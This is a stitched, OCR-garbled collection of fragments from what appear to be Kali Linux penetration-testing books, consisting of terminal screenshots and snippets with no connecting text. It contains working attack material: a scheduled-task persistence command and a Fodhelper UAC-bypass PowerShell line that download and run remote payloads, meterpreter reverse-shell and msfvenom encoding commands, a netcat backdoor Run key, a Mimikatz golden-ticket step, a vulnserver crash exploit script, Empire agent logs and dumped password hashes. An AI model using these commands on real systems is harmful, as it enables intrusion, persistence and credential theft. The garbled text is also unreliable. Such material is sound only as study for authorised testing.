DUP! 1en=1500 ip=192.168.1.104 tt1=64 DF 1d=27187 icw sea=4 rtt=7.4 ms
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generic_chunked
generic_send_tcp
generic_send_udp
generic_web_server_fuzz
generic_web_server_fuzz?2
generic_listen_tcp
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schtasks /xru "SYSTEN" /areate /tn GoogleUpdate /txr "powershell -windowstyle
hidden -nologo -noninteractive -ep -bypass -nop -c 'IEX ((new-object

net .webclient) .DownloadString (' 'http://192.168.0.24:8080/boom’ 1)) " /sc
onlogon





OEBPS/Images/246-2-i.jpg
import socket
P = rau_input ("enter the IP to hack")

PORT = 9999
s = socket.socket (socket .AF_INET, socket.SOCK_STREAM)

s.connect ( (I, PORT) )

banner = s.recv (1024)
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asterinkali.3@gm:
DEF; DIRECTORY Q)

Successfully created a C

Your CDN profile ‘C2C" v
for the changes to propagate

DN profile 4:24 PM

as created. It can take up to 2 hours
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Windows cannot access \\metasploitable3

Check the spelling of the name. Otherwise, there might be a problem with your network. To
try to identify and resolve network problems, click Diagnose.

@ See i Crsancse ] (vl ]
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thon3 -m pip install -
Pyt Pip install -r requirements.txt
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rootakali:~§ ifcontig
oth0: flage=4163<UP, BROADCAST, RUNNING MULTICAST> mtu 1500
inet 10.10.WNN.133 netmask 255.255.240.0 broadcast 10.10.4EE255
ether miwidedtedeshiots txqueuelen 1000 (Ethernet)

RX packets 1164196 bytes 106426284 (101.4 MiB)
X errors 0 dropped 0 overruns 0 frame 0

TX packets 6992 bytes 962003 (939.4 KiB)

X errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/pte to update all your tools

There is a new version of SET available.
Your version: 7.7.5
Current version: 7.7.9

Please update SET to the latest before submitting any git issues.

Select from the :

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit
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KHeEEREEE PAYLOADS +4%44 ket ks

SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
SET Custom Written Document UNC LM SMB Capture Attack
MS15-100 Microsoft Windows Media Center MCL Vulnerability
M514-617 Microsoft Word RTF Object Confusion (2014-84-61)
Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
Microsoft Word RTF pFragnents Stack Buffer Overflow (MS10-087)
Adobe Flash Player "Button” Remote Code Execution

Adobe CoolType SING Table "uniqueName® Overflow

Adobe Flash Player “newfunction® Invalid Pointer Use

Adobe Collab.collectEnailInfo Buffer Overflow

Adobe Collab.getIcon Buffer Overflow

Adobe JBIG2Decode Memory Corruption Exploit

Adobe PDF Embedded EXE Social Engineering

Adobe util.printf() Buffer Overflow

Custom EXE to VBA (sent via RAR) (RAR required)

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

Adobe PDF Embedded EXE Social Engineering (NOJS)

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

Apple QuickTime PICT PnSize Buffer Overflow

Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

Adobe Reader u3D Memory Corruption Vulnerability

MSCOMCTL ActiveX Buffer Overflow (ms12-027)
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root@kali:~# cuda Hashcat-plus32.bin -m 2500 <filename>.hcc:
<wordlist>
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emion_Help
rootekali:~# dpkg-reconfigure openssh-server

rootekali:~# service ssh start

rootekali:~# netstat -antp

Active Internet comnections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address

PID/Progran name

tep o 00.0.0.0:22 0.0.0.0:*
2786/sshd

teps [l 0 11122 .
2786/5shd

rootekali:~#

state

LISTEN

LISTEN
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# iwconfig wlan0 txpower 30
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root@kali:~# airodump-ng -c 11 wlanOmon
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[ProxyList]
# add proxy here ...

# meanwile
# defaults set to "tor"
socks4fj127.0.0.1 1080
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IS Additional log on information may be required. & X

= Click to open your browser
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UL ARPLOLL/ENLIUL/ SUNULET
set lhost 192.168.43.130

set lport 4444

set payload windows/meterpreter/reverse_tcp
set autorunscript migrate -n explorer.exe
exploit
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usemodule credentials/mimikatz/golden_ticket
set user Cred ID
set user IDONTEXIST

execute
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update-rc.d networking defaults
Jetolinit .d/netwozking restast
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* Powershell -exec bypass -c " (New-Object
Net.WebClient) .Proxy.Credentials=[Net.CredentialCache]: :DefaultNetw
orkCredentials;iwr ('http://webserver/payload.psl') FodhelperBypass
-program 'cmd.exe /c Powershell -exec bypass -c " (New-Object
Net.WebClient) .Proxy.Credentials=[Net.CredentialCache] : :DefaultNetw
orkCredentials;iwr ('http://webserver/agent.psl')"
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(hmpire: powershel1/situstions)_avarencss/metwork/powerview/get_forest) > tun

(4] Tasked KTSYWECH &
{41 Agent. KTIvHeCH t

[*] Tasked agent KT3YW6CH to run module povershell/situational aareness/netvork/povervi
(Fmpire: powershell/situational awarencss/network/powervicu/get forest) > 4] Agent KT3Y
Job started: 11FYSH

[¥] Valio results returned by 192.168.0.115
[+] Agent KTSYWEH returned results.

Globalcatalogs

Schema
Naminggolecwner

Got-rorest comploted:

5-1-5-712096800945-2044036275- 3005921437
Mastoring.kali.thirdedition

[Dofault First site Name]

(Mastoring. kali. thi rdedition)

{WIN- JTOAT1DR Mastaring. kali . thi rdedition)

(D Domainbnszones, be-Haster 1ng, DC-Ka1 1, bo-thirdedition,
De-Forestonszones, bo-Hastering, be-Kal, bo-thirdedition)
Mastoring. kel thirdedition

i-5chema, C-Confiqurat Lon, DC-Hastering, DC-kal1, DC-thirdedition
WINSUTONT7IDDE Mastering. Kali . thirdedition
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meterpreter > sysinfo
Computer METASPLOITABLE3

: Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture x64

system Language

Domain

Logged On Users

Meterpreter : x64/windous
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b
http://download2. rapid?.com/download/InsightVM/Rapid7Setup-Linux6d .
St
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(Empire: listeners) > listeners
[!] No listeners currently active
(Empire: listeners/dbx) > set APIToken H3telAn9

(Empire: listeners/dbx) > execute
[*] Starting listener 'dropbox'
[+] Listener successfully started!
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meterpreter > timestomp -z "01/01/2001 10:10:10" README.txt
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[rootékali:/§
7

f18:06:507 1 1 endpotnt 192.169.0.20 detected

t18:06:58) . .0.13 datacted

() Enabiing forwarding

192.168.00/24.
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exploit (bypassuac) > exploit

Started reverse TCP handler on 192.168.0.120:4444
[*] UAC is Enabled, checking level.

[+] UAC is set to Default

[#] BypassUaC can bypass this setting, continuing...
[#] Part of Mministrators group! Continuing.

[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem.

(*] Materpreter stager executable 73802 bytes long being uploaded.

[*] Sending stage (957487 bytes) to 192.168.0.119

[*] Meterpreter session 2 opened (192.168.0.120:4444 —> 192.168.0.119:49635) at
2017-05-27 13:54:27 ~0400
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rootekali:~/exfilt 1s -la extfilterated hex.txt
-rw-r--r—- 1 root root 83440 Jun 13 14:25 extfilterated hex.txt
rootekali:~/exfill python

Python 2.7.13 (default, Jam 19 2017, 14:48:08)

[6cC 6.3.0 20170118] on linux2

ype "help", "copyright, "credits" or "license" for more information.|
>>> f=open(‘extfilterated hex.txt','r')

>>> hex_data=f.read()

2:man: /var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p: /var/spool/1pd: /usr/sbin/nologin
:8:mail:/var/mail: /usr/sbin/nologin
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root@kali:-# faisk
Disk /dev/sda: 28.7 GiB, 30752000000 bytes, 60062500 sectors
Units: sectors of 1 + 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
1/0 size (mininun/optinal): 512 bytes / 512 bytes
Disklabel type: dos

sk identifier: 6x637dal2d

Boot Start  End Sectors Size Id Type
64 1669119 1669056 B15M 17 Hidden HPFS/NTFS
1669120 1408 704K 1 FAT12

Disk /dev/sdb: 238.5 GiB, 256060514304 bytes, 500118192 sectors
nits: sectors of 1+ 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
1/0 size (ninimun/optinal): 512 bytes / 512 bytes
sklabel type: dos
Disk identifier: ©x6220859d

pevice  Boot  Start End Sectors Size Id Type
2048 206847 204800 100M 7 HPFS/NTFS/exFAT

5848 251865087 251658240 120G 7 HPFS/NTFS/exFAT

251865088 500115455 248250368 118.4G 7 HPFS/NTFS/exFAT

sectors
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@ Payload Options [Simple lisf]
‘This payload type lets you configure a simple list of strings that are used as payloads.

(Eopaste ] [sarir-

admin' #
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1=t
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meterpreter> upload /usr/share/windows-binaries/nc.exe
C:\\WINDOWS\\ system32
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B8 CAWindown\System32\cmd o - winserver o

[icrozof ¢ Windous. [Vorsion 6.1.7601)
[Copyright <c> 2089 Microsoft Corporation. A1l rights reserved.

C:\Users\EISC\Doun loads \oulnseryersvulnserver. exe
Scarting vulnserver version 1-00
caticd dssentiad funccion 411 version 1.00

frhis iz wulnerable softuaret
Do not allou access fron untrusted systems or networkst

jaiting for client connections.
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nmap -sS -0 target.com
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meterpreter> reg queryval -k
HKLM\ \software\\microsoft\\windows\\currentversion\\Run -v nc
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(Papize: 1isteners/http) > Listeners
(4] Aotive Listenara:

ame Detay/ssteer

aovtackar Bttp://192.168.0.24:00 /0.0

(Bapire: Lstenecs) > (+] Sending FOMERSHELL stages (stags 1) to 192.168.0.20
(+] Mew agent TXZICEUT checked n

[4] Tnitias agent YXITCAUT from 192.169.0.20 now active (slack)

F1 senaing et (stage 2) to YXETCAUE at 192.169.0.20
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meterpreter>run multi_console_command -rc
/root/.ms£4/logs/persistence/VICTIM_20170610.4514 /VICTIM_20170610.4514 .xc
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import socket
IP = raw_input ("enter the IP to crash:
BORT = 9999

s = socket.socket (socket .AF_INET, socket.SOCK_STREAM)
s.connect ((IP, PORT) )

banner = s.recv(1024)

print (banner)

command = "TRUN *

header = "|/.:/"
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xprobe2 www.target.com
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(Empire: listeners/http) > [*] Sending POWERSHELL stager (stage 1)
*] New agent 8MWGFXZS checked in

[+] Initial agent GMWEFXZS from 216.137.62.65 now active (slack)
(*] Sending agent (stage 2) to SMW6FXZS at 216.137.62.65

(Empire: listeners/http) > agents

[*] Active agents:

Name La Internal TP Machine Name Username

SMWGFXZS ps 192.160.0.115  METASPIOTTABLE]  *MASTERING\admin

(Empire: agents) > interact BMW6RXZS
(Empire: 8MWGFXZS) > ipconfig

[*] Tasked BMW6FXZS to run TASK SHELL

[*] Agent GMW6FXZS tasked with task ID 1

(Bmpire: SMWeFXzS) > [*] Agent SMW6RXZS returned results
escription Intel (R) PRO/1000 MT Desktop Adapter
ACAddress 08:00:27:D0:B0: 66

DHCPERabled False

frenddress : 192.168.0.115, fed0: :40ab:8801:a334:774d

: 255.255.255.0, 64

to
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git clone https://github.com/Mebus/cupp.git
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export
export
export
export.

f£tp_proxy="£tp://usernane:password@proxyIP:port”
http_proxy="http://username:passwordeproxyIP:port®

https_proxy="https://username:passwordproxyI iport "
socks_proxy="https: //username:passworddproxylP port "
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nikto=Run nikto, nikto -o [OUTPUT).txt -p [PORT] -h [IP], "http, https
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BSCOrpreter> reg sectvali =k
HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d
'C:\windows\system32\nc.exe -Ldp 8888 -e cmd.exe'
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#buffer = "z" * 10000
pattern = <value>

s.send (command + header + pattern)
print ("server dead")
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root@kali:~# nc -vv 192.168.0.101 80
192.168.0.101: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.101] 80 (http) open

HEAD / HTTP/1.0

HTTP/1.1 400 Bad Request

Date: Sat, 19 Jan 2019 22:02:28 GMT

Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.39

vary: accept-language,accept-charset
Accept-Ranges: bytes

[Connection: close

Content-Type: text/html; charset-utf-g
Content-TLanguage: en

[Expires: Sat, 19 Jan 2019 22:02:28 GMT
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root@kali:~# airmon-ng
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Veil-Pillage: post-explotation framework | [Version]: 1.1.2

[Web] : https://waw.veil-framework.com/ | [Twitter]: @VeilPramework

Main Menu

61 modules loaded

Available commands:

use use a specific module
list available [modules, targets, creds]
set [targets, creds]
set global module option
Teset [targets, creds]
interact with the MSF database
run a module cleanup script
exit Veil-pillage
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root@kali:~# macchanger wlan0 -r





OEBPS/Images/10t13.jpg
[ ——
Administrator:500:ad3b435b51404ceaad34I5bS 046e: €02bC5033I951 71491 3c:

amakin skywalkor 1011 4adb4 15551 40400aadIbAI55140400 ¢ T06L03aTb]

arton Getoo: 1007 aaiabA 5b51404ceaad A J5bS1A0ACE: LackaadatbTalcA1Eb3a eab ISTTbA
ben, Kenobi £1009: a3c3b4 15b51404ceaadi 3551 404se: 4 b77d01 thoaTaceadldcacbessenss
boba 0Lt 1014 £aadIbA3505140400aadIb4 35651404001 60T9A4059dA4F0adar ] (00974200c9:
Chavbacea: 10175434104 3b51404ceaadIbA 1551 A04ce 720053632 66T 161 o1 36a 14575008
. three pio: 1008 :2ad 435051 0teeaad b4 3505140 4ee:0fd2ebA0C 326901 TIba0G6COIT 3570w
arth, vador +1010:aad 704 35b5140400aad3b4 7565140400 b7 3051 Flect {Tacafbandal06aea1e0:
Griedas 101 6:aad i I5bS1404neaAdIA 19014040 sCo26906H 1902157204460 EDI0ZD:
st 501 3203435051 404ceaad oA 50514040 31 06C£00] 630931715 5aTe0C009C0:

AcKor£1019:aad 43551 40400aad o 39D5140400:a0 1 32337d1 1085CA194160be5 10 Td06:
n 501011006+ ad3435b514040eaad 435D 40400+ 33049RC5IIA05ATC15C25CI90Tar 951
304 3551404 ceaad 43551 404ee S36cAeanEIA IS E 1716 T£20095cE Tt

1018:230342551404coaad3bA 15514040017 4C 021440661 3432403316420 100001
Lando, calrissan:1013: 2030435051 4046eaad3bAI5b514046e 621055098 207db1 1cTbE10042a531
Toia organ 3135514040034 b4 35514040+ Ba06aB 1006203621 IcLab (21 {14020
Lk Shywa1ker+ 1005+ aad 4 35b5140400aad 304 150514 doo: 401 06150bd0699N0A2Ib00IBACT 20051 ¢
001523304 35051 404ecaad b4 3551 10406 16 La0d1 63693 107305976 0c005C!
I £1000:aa 0435051 40400aac T4 35551404001 007DC5033 39451 £11491 32450350500+






OEBPS/Images/188-i.jpg
<script src="http://<ip>:8888/loop?interval=5"></script>
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msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
1lhost=192.168.0.137 lport=4444 -e x86/shikata_ga_nai -b '\x00' -i 3
python

£
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Modules

any . proxy
api.rest
arp.spoof
ble.recon
caplets
dhcp6. spoof
dns. spoof
events.stream
gps
http.proxy
http.server
https.proxy
mac.changer
mysql.server
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packet.proxy
syn.scan
tcp.proxy
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zootexali:

12017-06-13.
[2017-06-13.
12017-06-13.

196.14

12017-06-13.

196.14

12017-06-13.

196.14

(exfi1/DET# python det.py —c ./config-sample.json —p lcmp —I.

09:29:52)
09:29:52]
09:29:52)
09:29:531

09:29:541

crRisC
ticup]
[icmp]
[1cmp]

[1cmp]

o Kill pET
Listening for IO packets. .
Received IOMP packet from: 192.168.0.120 to 216.58.

Received ICMP packet from: 192.168.0.120 to 216.58.

Received IOMP packet from: 192.168.0.120 to 216.58.
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msfvenom

%86 —-platform Windows -p

windows /meterpreter/reverse_tcp lhost=192.168.0.109 lport=443 —
x86/shikata_ga_nai -i 8 raw | msfvenom -a x86 —-platform windows —s
x86/countdown —i 8 ~£ raw | msfvenom -a x86 --platform windows —e
x86/bloxor -i 9 -£ exe -o multiencoded.exe
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Transient Key
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The passuord uas saved in /root/Cuber Lab-password, txt

Haster Key
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C:\Windows\system32>netsh advfirewall firewall add rule
name="svchostpassthrough” dir=in action=allow protoco:
localport=8888
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dmitry -winsepo out.txt www.cyberhia.com
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rootekali:~# ifconfig
ethd: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1560
inet 10.10.115.108 netmask 255.255.240.0 broadcast 10.10.127.255
inet6 feB0::a634:d9ff:fea:b93c prefixien 64 scopeid Ox20<link>
ether 34:34:49:0a:69:3c txqueuelen 1000  (Ethernet)
RX packets 536415 bytes 761467623 (726.1 MiB;
RX errors 6 dropped 8 overruns 8 frame 8
TX packets 236433 bytes 14338324 (13.6 MiB|
TX errors @ dropped @ overruns 8 carrier 8 collisions 8

l0: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox10<host>
loop txqueuelen 1 (Local Loopback
RX packets 80 bytes 4892 (4.7 KiB;
RX errors 6 dropped 0 overruns @ frame 6
TX packets 89 bytes 4892 (4.7 KiB
TX errors @ dropped @ overruns 8 carrier 8 collisions 0

rootekali:~# cat /etc/resolv.conf
domain superdude.ad

search superdude.ad

naneserver 10.10.65.181
naneserver 10.10.65.110
naneserver 10.10.65.91
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root@kali:~# nc -vv 192.168.0.119 9999
192.168.0.119: inverse host lookup failed: Unknown host
(UNRNOWN) [192.168.0.119] 9999 (?) open

[Welcome to Vulnerable Server! Enter HELP for help.

EELP

[Valid Commands:

[stat_value]
[rtime_value]
[1time value]

SRUN [srun_value]
[TRUN [trun value]
uoN [gmon_valuel
eDoG [gdog_value]
[KSTET [kstet value]
[GTER [gter value]
BTER [hter value]
[LTER [1ter value]
[KSTAN [1stan value]
[ExTT
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ackQkallsf pybhon Scash.py
enter the IP to hack:192.168.0.119

Welcome to Vulnerable Server! Enter HELP for help.
Server pawned - enjoy the shell
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ssh -p 2210 localhost
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msf> use auxiliary/xssf/public/misc/alert
msf auxiliary(alert) > show options
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NBT-NS, LLMNR & MDNS Responder 2.3.3.9

Author: Laurent Gaffie (laurent.gaffiefgmail.con)
To Kill this script hit CRTL-C

Usage: responder 1 eth0 w ¢ £
rasponder 1 etho -wrf

options:
version show progran’s version number and exit
h, —help show this help message and exit
A, —analyze Analyze mode. This option allows you to sce NBT
BROWSER, LIMNR Tequests without responding.
I etho, —interface-othd

Network interface to use, you can use ‘AL
wildcard for all interfaces

110.0.0.21, —-ip=10.0.0.21
Local I to use (only for 0SK)

© 10.0.0.22, —externalip=10.0.0.22
Poison ali requests with another IP address than
Responder's one.

b, —basic Return a Basic HTTP authentication. Default: NTIM

£, —wredir Enable answors for notbios wredir suffix queries.
Answering to wredir will likely break SLuff on the
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root@kali:~# airodump-ng --bssid F0:7D:68:44:61:EA -c 11 --showack
—output-format pcap —-write <OUTPUT LOCATIOR> wlanOmon
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